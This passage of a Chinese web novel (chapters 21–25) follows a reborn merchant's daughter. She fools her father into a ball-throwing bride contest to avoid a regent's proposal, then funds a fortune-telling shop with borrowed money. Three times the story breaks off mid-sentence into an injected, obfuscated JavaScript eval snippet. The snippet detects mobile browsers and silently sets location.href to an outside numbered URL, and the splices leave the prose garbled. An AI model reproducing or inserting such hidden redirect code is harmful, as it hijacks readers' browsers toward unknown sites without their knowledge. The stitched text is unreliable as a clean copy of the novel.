漫长的僵持过后，沐玉罡终于将举酸了的手放下：“他既然非你不娶，你又何必要抛什么绣球？直接让他上门来提亲不就好了？” 沐毓露倒是遗传了沐玉罡察言观色的好本事，见到她爹有所退让，她便也不再紧逼，扬起一个笑容道：“父亲有所不知，虽然三州堇璱属意于我，但之前我迟迟没有松口，他出于对我的尊重，便没有贸然上门提亲。” 说到尊重两个字时她特意加重了语气强调了一下，内涵了一番穆衾寒之后继续面不改色地撒她的弥天大谎：“不过他平时神出鬼没的，并不经常待在朱雀国，我们也不能时常保持联络，因此他与我做了个约定。” 沐玉罡倒像是听入了迷，追问道：“你们做了什么约定？” 沐毓露煞有介事地道：“他说自己平时远在别国，行踪飘忽，并不能收到我的信件，我若有一日看清楚了自己的心意，决定嫁给他，那就传出消息抛绣球招亲，他听到消息后一定会赶回来抢绣球的。” 说着她笃定地点了一下头：“所以我们不仅要抛绣球，还要大张旗鼓地抛，最好让这件事情在京中人尽皆知，这样才能更快地把消息传到他那里去。” 沐玉罡皱眉听着，觉得她说的似乎是那么回事儿，但又好像有哪里不对劲。 沐毓露才不会给他认真思索找出她话语间漏洞的机会，趁沐玉罡现在被她忽悠得晕头转向，她赶紧趁热打铁催促道：“时间紧急，您可别再犹豫了，现在去回绝了穆王爷，一切都还来得及。若是再拖下去，恐怕就不好交差了。” 沐玉罡原本还在犹豫，脑子里千头万绪理不清楚，被沐毓露这么一催，他又烦躁又恼怒地将手背在身后：“行，你是翅膀硬了，我是管不你了，我现在就派人去穆王府，不过你可想清楚了，这个决定是你自己做的，以后若是后悔错过了嫁进穆王府这个机会，可不要怨你爹娘没劝过你！” 说完他一甩衣袖，气呼呼地摔门离开。 沐毓露仍旧笑着，站在原地注视着沐玉罡离开的背影，目光却毫无波澜：“父亲放心，女儿绝不后悔。” 不仅不会后悔，她的余生都会为了今日的勇敢反抗而庆幸。 她已经想好了，倘若她非嫁不可，只要不嫁进穆王府，去哪里都可以。 什么三州堇璱非她不娶，这样的话自然是骗沐玉罡的，只要哄着他抛绣球招亲，到那个时候三州堇璱来与不来都不要紧。 只要有人接了绣球，不管那人是谁，众目睽睽之下沐玉罡都不可能反悔。不管是市井小民也好，还是贩夫走卒也罢，只要那人不是穆衾寒，是谁她都认了。 闭上眼睛，她露出一个解脱的微笑。 这辈子她要彻彻底底斩断与穆衾寒所有的孽缘。 22. 第22章 沐玉罡办事还是很利落的，沐毓露将在两个月后于天下第一楼抛绣球招亲的消息很快就传遍了全京城。 与此同时，为了顾全穆王爷的颜面，沐玉罡只字未提他曾经遣人上沐府提亲的事情。 在放出抛绣球招亲这个消息的第二天，他便备了一箱子金条，亲自拎上门求见王爷。 然而亲自跑了这一趟，他连穆衾寒的人影都没有见到。 沐府的管事将沐玉罡一行人挡在门外，连大门都没让他们进，沐玉罡精心准备的赔罪礼自然也被拒之门外。 “有什么事情就在这里说吧，实在是王爷公务在身走不开，回头小的定会转告王爷。”管事挡在门口，将双手往衣袖里一兜，一副拒人于千里之外的模样。 虽说眼前之人只是个下人，但这可是王府里的下人，打狗还得看主人，这得势的狗还能欺到人头上去呢。沐玉罡一边在心中嘀咕，一边唯唯诺诺地笑着，委婉地表达了传说中的大魔头三州堇璱居然也瞎了眼看上了沐毓露这个消息。 “其实我们也知道，沐府这个最不成器的女儿，就算是进王府做妾，那都算是高攀了。” 沐玉罡见那管事脸色变了，一个劲儿地赔笑：“实在是我这个女儿不争气，她居然敢背着父母与人私定终身，这像什么样子？我也是前两日才听她讲起这个事情，您是不知道，这把我气得……” 管事不耐烦地皱了皱眉：“沐老爷，王府里还有一堆事儿等着我去打理，您也有大宗的生意要做，咱们两相便宜，就别耽误时间了。” 他注视着沐玉罡，皮笑肉不笑：“你们沐府今儿个是来王府拒亲的？” 这管事不愧是在王府里当差的人，只这么一句问话，便吓得沐玉罡出了一身的冷汗：“不是不是，并非拒亲，而是……而是想来跟王爷商量商量，能不能换个人？” 管事倒是从未见过如此厚颜无耻之人，忍不住又皱了皱眉：“换个人？您什么意思？” 沐玉罡苍蝇搓手：“这个，那个，其实我们也很不好意思，我这大女儿德行有亏，行为也不检点，实在是配不上王爷。但是我还有两个女儿，一个赛一个的漂亮，最重要的是她们都是养在深闺的正经小姐，德行上是绝对没有问题的。” 说着他尴尬地摆了摆手，继续赔笑道：“至少她们绝对不会没事儿就去跳湖，沐府已经填了一个人工湖了。王爷若是把我那不成器的大女儿娶回去，王府里的湖恐怕都不够填的哈哈哈……” 管事忍了又忍，最后终于忍无可忍地当着沐玉罡的面关上了大门，就这样把他们晾在了门外。 沐玉罡手足无措地站在门口，走也不是留也不是，在王府跟前尴尬地守了小半天后，灰溜溜地回了沐府。 他没有见着穆衾寒，管事到底有没有把他的话转告给王爷，他也不得而知，不过因为他的造势，沐毓露将在天下第一楼抛绣球招亲的消息已经传得沸沸扬扬，穆衾寒就算足不出户也应当已经听说了。 至于穆衾寒对此事到底有什么想法，这就没人能够猜得透了。 若说他其实没那么喜欢沐毓露，又怎会亲自派人上门提亲，还将这一个商户女抬为王府贵妾？ 可若说他真心喜欢沐毓露，在得知沐府婉拒了他的提亲，转头就要在天下第一楼抛绣球这件事情后，他竟然不为所动，一点反应都没有。 他可是手握实权的摄政王，要什么东西没有？区区一个女人，若他真的那么想要，直接上门强娶不就好了，费不了多少功夫。 如今过了大半个月，穆王府里都没什么动静，看来穆王爷对沐毓露不过是一时兴起，根本就没有当真。 起先沐玉罡还生怕因此得罪了穆衾寒，担心这个传说中阴晴不定的活阎王只是表面上装作毫不在意，实际上不知道哪天就突然发作报复沐府。 故而他每天都战战兢兢地观望着王府的动静，甚至还通过各种渠道买穆衾寒的消息，打听王爷最近心情如何。 在听说穆衾寒对此事毫不在意，这段时间照常处理公务，甚至还出去打了两次猎后，沐玉罡终于放下心来，开始专注地筹备起沐毓露的抛绣球大会来。 话说这几日沐玉罡始终悬着一颗心连饭都吃不香，始作俑者沐毓露却是心情极佳，每天敞开了胃口吃，长胖了好几斤。 心云总是欣慰地望着沐毓露：“前段时间小姐大病一场，瘦了好多，可要全都养回来才好呢。” 沐毓露拍一拍心云的手：“放心吧，我的心头大患已经顺利解决，从此以后没什么可担心的了，只要心情好了，什么都养得回来。” 心云是在两日前回京的，还没到京城便听说了沐毓露将要抛绣球招亲的消息，回府之后她做的第一件事情便是询问沐毓露这个消息的真假。 毕竟在她的印象里，沐毓露爱穆衾寒爱得死去活来，早就说过此生非他不嫁，怎么她才离开短短一段时间，小姐突然就要抛绣球招亲了？ 她担心小姐是被老爷夫人逼的，万万没有想到抛绣球的主意居然是小姐自己提出来的。 “早跟你说了我已经改变了心意，不再喜欢穆衾寒了。心云，你该为我高兴才是。” 沐毓露对与穆衾寒有关的话题一点都不感兴趣，反倒是抓住心云一个劲儿地问她与风问棠在路上发生了什么事。 原来在收到心云的报信的时候，风问棠一行人已经遭遇了两波袭击。 只不过那两波劫匪中并没有什么高手，单是镖局的人就可以应付，风问棠甚至都没有出手。 因此在看见沐毓露的亲笔信时，风问棠有些许犹豫。 这批货物重要且紧急，所以从一开始就没有考虑过走水路，若是他们半道改行水路，速度会比预期的慢上许多。 且这一路上他们遭遇的袭击都是不痛不痒的，那些劫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361941|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 匪并没有对他们造成任何威胁。 若说再往后走会遇到令所有人丧命的厉害人物，这的确是很难让人相信的。 风问棠同镖局的人商量改走水路的可能性时，还被他们奚落了一番：“好歹你也算是个高手，怎么跟个娘们儿一样叽叽歪歪？这条路我们都走过多少回了，山上的劫匪早就被朝廷清剿光了，哪里还有什么武功高强的厉害人物守在这里等着取我们性命？” 心云听见他们这样说，知道这群人全都是十头牛都拉不回来的犟种，绝不会听她的，她只好将希望都放在风问棠身上。 死死攥住风问棠的胳膊，她恳切地道：“风护院，请您一定要相信我，小姐还在病中，为了这件事情忧心不已，若不是事态紧急，她绝不会让我亲自前来送信，我也绝不会扔下她跑到这么远的地方来。” 说到后面她简直都快哭了：“不怕一万就怕万一，小姐她这是担心你，怕你出事呀。” 风问棠不再多说什么，略沉吟了几秒，便向镖局的人下了命令：“此次运送的货物非常重要，我乃沐府护院，接下来的行程全都听我的号令，若是出了什么意外，后果我一人担着。” 他知道这一行人当中有一些老镖头十分顽固，绝对不会乖乖听从他的命令，便干脆命那些不听号令的人带着部分货物按原路前进，他则与另外一部分愿意改道的人带着真正重要的货物改行水路。 如此一来既化解了矛盾，又转移了可能埋伏在前路的劫匪的注意力。 若是真遇上了要命的劫匪，便让那群顽固的人去应对吧。 见到风问棠这么快就做出决定，心云松了口气，转身就要往沐府跑，却被风问棠一把拽住：“若真如大小姐所言，此地已不安全，你随我们一起走水路，不能独自返回。” 心云急得直跺脚：“可是小姐还病着，她病得很重，不能没人照顾。” 风问棠叹了一口气：“但若是无人保护，你在回去的路上遭遇了意外，以后岂不是更没人照顾小姐？” 他像方才心云劝解他那般恳切地劝道：“保护好自己，平安地回去，要是在这里把小命丢了，你可就再也没办法回去见小姐了。” 回忆到这里，心云心有余悸地道：“还好风护院听了小姐的话改行水路，还好我也听了风护院的劝，随他们一同出发，没有独自返回。” “后来那些坚持走陆路的人果然遇着了凶悍的劫匪，一行六人竟然无一生还。听说那些劫匪没有抢到他们想要的东西，还泄愤似的把那一条路上的商队都劫了个遍。” 她抬手抚了抚胸口：“若是那天我执意原路返回，恐怕刚走到半道就要碰上那群泄愤的劫匪。” 沐毓露一边听着，一边点了点头：“多亏风护院机警，也亏他想得周到，这才保了你一条小命。” “对了，风护院回来之后去了哪里，怎么这两日都没见着他？” 23. 第23章 “他一回来就去老爷那里汇报情况来着。”心云回答道：“至于这两日他在忙些什么，我就不知道了。” 沐毓露唔了一声，悠哉地磕起了瓜子。 忙点好呀忙点好，忙起来就顾不上问她是如何未卜先知的了。 虽然她早已准备好了一套说辞，且已经用这套说辞成功忽悠住了心云，但风问棠可不像心云这傻丫头那般好骗，要是一不小心在他面前露出马脚，她又要费心思去解释。 想想就好麻烦。 因此她巴不得风问棠被各种琐事缠身，这样他就无暇顾及到她了，等到一个月后她抛完绣球离开沐府，他们恐怕再没有相见之机，如此正合她的心意。 这一世的沐毓露再也不像前世那般爱凑热闹，如今的她只想明哲保身，多一事不如少一事。 冒着暴露自己的风险向风问棠传信，一是想救他一命，二是因为她想要通过尝试改变这件事情的结局，看一看自己的命运是否能有转机。 如今沐毓露已经有了结论，既然风问棠躲过了前世的那场灾祸，那么重活一世的她也有机会改变自己的命运。 此刻的她可以说是信心百倍，无比相信命运正朝着好的方向发展，在勇敢地与沐玉罡对峙之后，她可以摆脱灾星穆衾寒，可以按照计划顺利地离开沐府，不再与这些她不想见到的人打交道，真正开始属于自己的生活。 想到自己的计划，沐毓露微微眯了眯眼。 到现在为止她的计划只实现了一半。 如今她已成功躲开穆衾寒，躲开了那个造成她前世悲剧的始作俑者，但这一世的她在避开王府以及离开沐府之后该如何生存下去，是一个需要着重考虑的问题。 她并不傻，知道前世的自己之所以会有如此悲惨的命运，并非全都拜穆衾寒所赐。 她的爹娘明知穆王府是个火坑，却还是任由她往火坑里跳，甚至最后她为了嫁给穆衾寒所设的肮脏计谋，其中也有沐玉罡的手笔。 前世她还以为爹娘虽然不与自己亲近，但至少还是会为她的终身大事考虑，会为了帮她实现心愿而与她一起谋划。 直到如今现在她才知道，他们做这些事情哪里是为了她。 父亲的谋划自始至终只是为了他自己，而母亲的纵容八成都是为了她的妹妹沐晚意。 不管她是以什么样的手段和什么样的身份嫁入穆王府，总归她成了穆衾寒的人，对沐府而言百利而无一害。 有一个嫁进了穆王府的女儿，沐玉罡在整个朱雀国的生意都会更上一层楼，就算穆衾寒不为他打点，那些为官的哪个不是人精，自然懂得如何孝敬。 有了一个嫁入穆王府的姐姐，沐晚意和沐星子的婚事也自然会得到助力，姐妹二人都可以风风光光地嫁入勋爵之家，这是身为商户女的她们做梦也不敢想的。 这么说来，上一世因为这门亲事而受尽折磨的人居然只有沐毓露一个。 她渐渐沉了目光。 前世的她看不清这些算计，也不懂人心的弯弯绕绕，更不知骨肉至亲原来也可以如此狠心。 这一世的她除了要摆脱穆衾寒，更要尽快地离开沐府。 然而问题也正在于此，离开沐府之后的她该如何生活？ 虽然她已经为自己谋划好了生财之道，但无论接下来她打算做什么，眼下最需要的便是一桶本金。 她每月在沐府领着少许碎银，是攒不下什么积蓄的，最要命的是她院中的一应用具都不齐全，有的甚至还需要风问棠补贴，根本没办法拿出去典当。 凑不出本金，她就算有一身的本事也无法施展。 无奈地叹了口气，她将哀怨的目光投向窗外：“心云，你说我要是把院子里的树都砍了拿出去卖，能卖几个钱？” 心云吓了一跳：“小姐万万不可，这院子里的树都是沐府的，您若是砍了拿出去卖，肯定又是一场风波，清芜院的人可是盯着咱们，生怕寻不出我们的过错呢。” 沐毓露压低了声音道：“我也知道这样做不妥，可是我急需一笔银子，若是指望着每个月的生活费，那我得攒到猴年马月去？” 心云同样压低了声音：“小姐，你若是缺银子，为何不找风护院借？” 沐毓露将目光从窗外收回来：“风问棠？” 心云认真地点了点头：“你的那封信可算是救了风护院一命，他回来的路上便对我讲，滴水之恩当涌泉相报，蒙小姐这样大的恩情，他简直不知道该如何报答。” 沐毓露陷入了沉思。 眼下这么个情况，找风问棠借钱无疑是最稳妥的，他做她爹的近身护院这么多年，想必攒下了不少银两，且风问棠此人颇为正直，既然欠了她一个恩情，应当会对她借钱一事守口如瓶。 可是如此一来，她便避免不了要与他打交道，送信一事她已经在他面前露出了马脚，继续与他打交道岂不是更加危险。 没想到就在她犹豫不定之时，风问棠自己找上了门来。 推开门见到风问棠笔直地立在门前时，沐毓露吓了一大跳。 看来果然不能在背后说人，她刚琢磨着能不能从风问棠身上捞一笔钱，这个肥羊就自己送上了门。 将风问棠请进屋子之后，沐毓露沉默地与他大眼瞪小眼，心云则很有眼力见地退了出去替他们看住了门。 沐毓露望着心云离开的背影欲言又止，在门被关上后，终于还是开口打破了沉默：“这丫头，好像我们在做什么见不得人的事情一样。” 说完她朝风问棠尴尬地笑了笑。 风问棠也冲她笑了笑，笑容和煦温暖，却带着些许探询的味道。 他首先对着沐毓露一拜：“小姐大恩，我无以为报，以后您有什么需要我的地方，尽管差遣就是。” 沐毓露摆了摆手：“不过是病中做了一个噩梦，梦见你运送货物的路上会有危险，因为那梦的细节太过真实，我才放心不下，让心云前去告知你们。” 她很是谦虚地道：“我也不过是瞎猫碰上了死耗子，算不得什么大恩。” 风问棠沉默了，但眼中的探寻之意更盛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361942|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他原本想问沐毓露为何会未卜先知，但她不待自己询问便一口气说了这样多，他倒不好再继续追问什么。 不过沐毓露的这些话骗骗心云还成，想要瞒住他还是差了点。 倘若只是做梦，她又怎会如此着急，什么样的梦能够让她在病中不顾己身，差使心云前来传话？ 且看那日心云的神色，便知此事严重，若非心云如此焦急，他也不会立马做出决定改走水路。 心云的态度必然就是沐毓露的态度。 她会因为一个梦着急成那个样子么？ 风问棠对此持怀疑的态度。 垂首注视着沐毓露笑得灿烂的一张脸，见到她眼巴巴地望着自己，他突然觉得无论心中有多疑惑，那些问题也问不出口了。 罢了，既然她什么也不想说，那他便什么都不问，权当此事没有发生过就好。 “原来如此。”他笑着道：“但还是要多谢小姐，若非你让心云报信，我们此行不会这么顺利。” 沐毓露眼珠一转：“风护院当真不必如此客气，小事一桩而已，也不必说什么任我差遣的话。” 她咬了咬唇，试探着道：“不过你若是真想感谢我，帮我一个小忙就好。” 风问棠疑惑地嗯了一声：“什么忙？小姐直说就好。” 见风问棠的态度如此诚恳，看起来是真的想要报答她，并非说说而已，沐毓露这才厚着脸皮问：“不知风护院能不能借我一笔小钱？” 风问棠皱了皱眉，环视了房间一圈：“小姐可是缺什么东西？那帮人又克扣了你的银两？” 说着他转身欲走，一副要去找人算账的模样。 “没有没有，我不缺什么东西。”沐毓露连忙拉住他：“我就是现在需要一笔小钱，去做一点事情。” 风问棠回首与她对视片刻，知晓其中的缘由沐毓露恐怕也不愿意告诉他，于是他不再多言，思索了一番后直接开口问她：“小姐需要多少银两？” 沐毓露在心里默算了半天，犹犹豫豫地伸出右手食指：“一百两，行不行？” 风问棠笑了：“一百两够吗？” 他见沐毓露犹豫成那个样子，还以为她要狮子大开口，没想到她一张口只要一百两。 沐毓露听见风问棠的问话，却忍不住露出震惊的表情。 什么叫一百两够吗？ 对于沐毓露而言一百两是很大的数目，她扣扣搜搜一辈子也攒不出这么多的钱，而风问棠不仅能够一口气拿出这笔钱，还问她一百两够吗？ 她震惊地盯着风问棠：“你一个月的月俸有多少？难道还能借我更多吗？” 风问棠依旧笑着道：“月俸不多，但每次成功运送货物之后的薪金很高，说起来还是托小姐的福，单是运送上一次的那批货物，我就赚了一百两。” 他的语声温和：“这样吧，我给您五百两好不好？您若是自己要用，这笔钱便当作我给您的感谢费，您若是要拿来做生意，那便当作我入资的份额，赔了您不必还，赚了您给我一点分红。” 24. 第24章 沐毓露听得目光灼灼：“这样就好了？” 风问棠点头：“这样就好。” 好好好，沐毓露在心里狂笑，风问棠行事干脆利落，果然够爽快，这个朋友可以交。 “等下我就将银票送过来，小姐随意支取就好。”风问棠说完这句话并没有急着走，而是犹犹豫豫地站在原地，像是有什么话想说又不敢说。 沐毓露自然瞧出了他的纠结：“你是不是还有什么问题想要问我？” 她已经想好了，倘若风问棠问她打算拿那笔钱做什么，她便直接告诉他，她要用那些钱入手一些铺子，这些铺子既可以作为她接下来营业的据点，同时也是她未来以钱生钱的渠道之一。 毕竟本金是他给的，他也算是入了股，有权利知道这笔钱到底是用来干什么的。 却没有想到风问棠纠结了半天，问出了这么一句话：“前些时间穆衾寒是不是偷偷潜入沐府了？他……他有没有欺负你？” 显然这是风问棠能够想到的最委婉的措辞了。 然而因为太过委婉导致沐毓露压根就没听懂，并且她显然抓错了重点：“你怎么知道前段时间穆衾寒偷溜进了沐府？那时候你不是还在路上么？” 风问棠不好意思地移开了视线：“我在京城有一些朋友，他们替我关注着沐府的情况，这些事情是他们在我回来之后告诉我的。” 沐毓露哦了一声：“那你朋友还挺多的。” 风问棠肉眼可见的有些崩溃，他又纠结了好一会儿，才鼓起勇气再次问道：“我听他们说前段时间你病重，独自留在府中无人照顾，穆衾寒偷溜进了沐府之后去了你的院子，好几日都没有再出来过。” 说到后面他甚至有些结巴了：“他……他没有欺负你吧？” 暗示到了这个份儿上，沐毓露要是还听不出来他到底想问什么，那她就真的是蠢钝如猪了。 “风护院，风大哥！你在想什么呢？”她颇有些气急败坏地道：“我是病重又不是病死，怎么可能任由他欺负我？他要是敢碰我，我当场就投湖了。” 风问棠连忙安抚她：“你别着急，我只是担心你被他欺负。” 他解释道：“我听那些朋友说穆衾寒进了你的院子就再没有出来，后来没过多久他就派人上沐府提亲，所以才发散思维了一下，是我错了，你不要生气了，好不好？” 沐毓露倒是没有生气，准确来说此刻她是惊讶多过气愤。 风问棠为什么连穆衾寒曾经派人上门提亲的事情都知道？ 为了保全穆衾寒的颜面，沐玉罡将这个消息压得死死的，按理来说这件事除了王府以及沐府的少数几个人知道，应当再无旁人知晓才是。 沐毓露疑惑地望着风问棠：“你怎么知道穆衾寒曾经上门提亲？这个事情也是你在京城的朋友们告诉你的？” 什么朋友这么神通广大，而且还一天到晚盯着沐府？ 风问棠却是不说话了，他心虚地将目光移开，始终不与沐毓露对视。 沐毓露倒也看得出来风问棠不想继续讨论这件事，她不禁展开了想象，风问棠在京中应当远比她以为的有势力得多，且沐府是他们关注的对象之一。说不定风问棠也有什么隐藏的身份，并不单纯是她爹的护院而已？ 不过既然他都没有追问自己的隐私，那她也不必对人家穷追不舍。 其实自从前世得知沐府被满门抄斩后，她便猜出沐玉罡在京中所做的事情并非仅仅是经商，否则他就算是贩运私盐也不至于连累全家砍头。 沐玉罡也有许多的秘密，或者说整个沐府里都藏着秘密，不然也不会吸引那么多人来她家一探究竟。 只不过沐毓露压根就不想深究这些，她只想逃离沐府，努力经营谋划，争取在三年内离开京城，否则等到沐府满门抄斩那一天，她一样逃不过。 抿嘴笑了笑，沐毓露不再追问，洒脱地对风问棠道：“好了，我不问你了。现在我们是合作的关系，以后不管赚了多少钱，我都分你一半。” 风问棠冲她扬起一个笑：“那就祝大小姐财源滚滚，日进斗金。” 就这样，在风问棠的资助下，沐毓露的赚钱计划如火如荼地开展了起来。 首先她用这笔钱在一个很偏僻的地方入手了好多间破院。 陪沐毓露一起实地考察的时候，心云很不理解地问她：“小姐，好不容易找风护院借到一笔钱，你干嘛用来买这些住都住不了的院子？” 不怪心云疑惑，沐毓露买的这些院子所在的位置实在是太偏了，既做不了生意，也无法居住。 可以说这里就是京城的贫民窟，贫民窟里住着的自然都是被这座繁华的京城边缘化了的人。 他们日复一日地劳作，创造着朱雀帝国的繁华，可是这热闹与繁华从不属于他们，他们是创造者，也是旁观者。 这一片区域以及住在这里的人，就像是掩在华丽长袍下的虱子，又像是巨兽皮毛下流脓的疮，正在慢慢腐烂。 所以心云真的不理解，这些院子恐怕白送都没人要，沐毓露为何要花这么多钱把近乎三条街的院子都买下来？ 但沐毓露这样做，自然是有自己的打算。 之所以选择在这个地段买院子，是因为重生之后的沐毓露知晓天下大事，有些商机想要错过也难。 再过一段时间便是皇帝最宠爱的三皇子的生辰，届时会有万国来贺，忍了这些贫民窟很久的三皇子终于不打算忍了，他决定在生辰到来之前加大力度整治京城环境。 第一个措施便是将住在这些破院子里的贫民全部赶出京城，同时高价回收这些院落，由朝廷进行整改。 虽然说住在这里的都是贫民，但是这些院子的实际持有者大多是官吏或者富商，买下几间院子对于他们来说轻而易举，每日光是收取租金也是一笔不小的收入。 如今由朝廷拨款回收这些院落，院子的主人们自然乐见其成，纷纷以十倍甚至百倍的价格将这些院子转手卖给了朝廷。 沐毓露想要赚的正是朝廷的钱。 她赶在三皇子下令前先买下这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361943|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些院子，等到来日朝廷回收院落时，再以数倍的价格将它们卖出去，届时她手中的银两至少可以翻好几倍。 到那个时候她才算是真正有了做生意的本钱。 不过在那一日来临之前，她倒也不打算闲着，她将手底下的院子利用了起来，开了一间算命的小铺子。 重活一世，她掌握了许多旁人不知道的信息，不管是经商的还是做官的，信息差对于他们而言都非常重要，毕竟多掌握一条信息便是多了一条财路或者活路。 因此沐毓露的算命铺虽然开在极偏远的地方，生意却是一天比一天好。 心云对此很是佩服：“小姐，怪不得之前你能做预言梦，帮风护院他们躲过一劫，原来你天生是这样的体质，连算命都算得这么准。” 好家伙，这丫头就这样自己劝自己，居然还越想越觉得有道理。 沐毓露只是笑而不语。 如今她在府中的行动也越来越方便，毕竟此前穆衾寒曾上门提亲，沐玉罡又相信了三州堇璱非她不娶的话，有了这两个靠山，沐毓露已经今非昔比，在府中算得上是个正经小姐。 因此无人敢过问她的事情，即便她成日将自己关在房间里，大门不出二门不迈，府中的下人也从来不多问多说一句，只当沐毓露是因为即将抛绣球而害羞得不肯出门。 也就无人知晓，她每天都会乔装打扮成一个老头的模样，翻窗越墙偷溜出府经营她的算命小铺。 沐府里知道此事的人除了她和心云，便只有风问棠一人。 而沐毓露之所以告诉风问棠这件事，主要是为了让他在他那神通广大的朋友圈子里宣传一下她的算命铺。 毕竟酒香也怕巷子深，若是无人宣传，沐毓露占卜出来的信息就算再准确，也无法吸引到第一批客人。 “你若是被绑架了就眨眨眼。”在风问棠卖力宣传沐毓露的算命铺的时候，他的至交好友徐行之如是道。 风问棠无奈地望他一眼。 天下第一楼的少东家齐知止接着道：“那算命的老头子不能是你姘头吧？” 得，这里还有个更过分的，风问棠考虑要不要跟他绝交。 不过话说回来，好友们有这般误解，也不能全怪他们。 毕竟风问棠从不信命，也从来不曾找人占卜，突然间无缘无故地给一个算命的老头免费宣传，很难不让人有所联想。 好在沐毓露算得很准，在圈子里的名声也越来越大，算是从侧面帮风问棠洗清了一点嫌疑。 就连从前讥讽过他的齐知止都对沐毓露的算命小铺产生了兴趣：“听说那算命的可是个神人，指点一个小贩盘下了京城西郊的铺子，半个月后朝廷便下了通知，三皇子举办生辰宴的一个月间，朱雀国将封锁东南北三个方向的城门，前来朝贺的诸国只能通过西郊的城门进入京城。” 他摇着扇子斜了风问棠一眼：“依我看那算命的老先生算的不是命，而是这几年间朝中的大事吧？” 风问棠不语。 他决定装死。 25. 第25章 这日沐毓露的算命小铺迎来了一个意想不到的客人。 如今她的占卜生意越做越好，收取的费用自然也就越来越高，有了稳定的客源之后她便规定每日只给三人占卜，且那三人必须得提前预约，机会有限，先到先得。 这一天收工得早，她没有急着回府，而是悠闲地坐在躺椅上放空大脑，便在这时一位不速之客推门而入。 听见门响的一瞬间，沐毓露猛地从躺椅上坐起来，抓起桌上的面具往脸上戴。 毕竟经营算命小铺时她对外的形象是一个因为泄露了天机而双目失明的老头，每次给人占卜时她都需要乔装打扮一番。 若是让沐玉罡知道她每天偷溜出府装神弄鬼地给人算命，非打断她的腿不可。 原本那人突然造访就吓了沐毓露一跳，待她在桌前坐定之后，沐毓露更是吓得大气都不敢出。 坐在她面前衣着华丽的贵妇人不正是她的亲娘沐昭氏？ 果然是怕什么来什么，她刚琢磨着自己名气大了，接下来行事要更加小心，千万不能被沐府的人抓住把柄，结果转头她亲娘就找上了门来。 她紧张地咽了口唾沫。 就是不知道她娘今天是来抓她的还是来占卜的。 沐昭氏等了一会儿，见对面的老头完全没有要给自己奉茶的意思，于是清了清嗓子开口问：“今天还能占卜吗？” 沐毓露在心里松了口气。 不是来抓她的。 是来占卜的。 她连忙压低了嗓子回道：“能的能的，不知道夫人想算什么？” 虽然沐昭氏没有预约，沐毓露也一点都不想给她占卜，但谁让她是沐府的人，而且还是自己的亲娘。 倘若今日拒绝了她，来日说不定还要在这里同她打交道，不如今天就答应她，听一听她到底想算什么。 沐昭氏徐徐开口：“我有一个女儿，再过两年就要及笄了，可是到现在都还没有一门好的亲事。” 说着她从袖中取出一张纸，递到沐毓露的面前：“这是她的生辰八字，我想请先生帮忙算一算我这个女儿的姻缘，看她以后能不能嫁得一个好夫婿？” 沐毓露的心在听见沐昭氏说她有一个女儿的时候就缓缓沉了下去，在看见她递过来的生辰八字后，那颗心终于沉到了底。 她手中拿着的自然是沐晚意的八字，沐昭氏虽生了两个女儿，但值得她如此操心的，当然只有从小长在她身边的那个。 接过沐晚意的八字，沐毓露安安静静地端详了片刻，然后开口道：“夫人没有预约，若要临时起卦也可，需得额外支付一笔费用。” 沐昭氏皱了皱眉：“那若是我现在预约，要等到何时才能占卜？” 沐毓露笑了笑，不过隔着面具沐昭氏根本看不见她的表情：“若是现在预约，总得等到半年之后了。” “半年？”沐昭氏瞪大了眼，略一思索之后犹豫着道：“等到半年之后再为她择婿，那时候岂不是晚了，若是及笄之前不能给她定下一门好亲事，以后恐怕就难了。” 她抬头注视着沐毓露：“你说个价吧，现在就给她算，要多少钱？” 沐毓露沉静地观察着沐昭氏的反应，对方说的每一句话都像一根针似的往她心里扎。 原来当一个母亲关心自己的女儿时，可以提前好几年为她筹划这许多的事，原来她也知道要在女儿及笄前为她择好夫婿，等到及笄后再操心这些事情就晚了。 沐毓露突然就接受了这样一个事实，其实沐昭氏是一个很好的母亲，她并不是不爱自己的女儿，她只是不爱她而已。 轻轻地吸了一口气，她朝沐昭氏伸出一根手指头：“若夫人非要现在就算，那么占卜费加上免预约的费用，一共要一百两。” “你说什么？”沐昭氏提高了嗓门，声音都有些颤抖：“一百两？” 沐毓露点了点头，将身子往后一缩：“夫人若是嫌贵，也可以先预约，等排到了您再算。” 她刻意加重了语气道：“左不过是等半年而已，您家的女儿不是还有两年才及笄么？想要给她算夫婿，其实也不急在这一时。” 沐昭氏却摇了摇头：“先生你不知道，待确定了亲事之后，还有许多的事情要做，不管是行六礼，还是裁新衣备嫁妆，一桩一件都马虎不得，都是需要时间的。” 她咬咬牙道：“我这就让人回去取银票，先生稍等。” 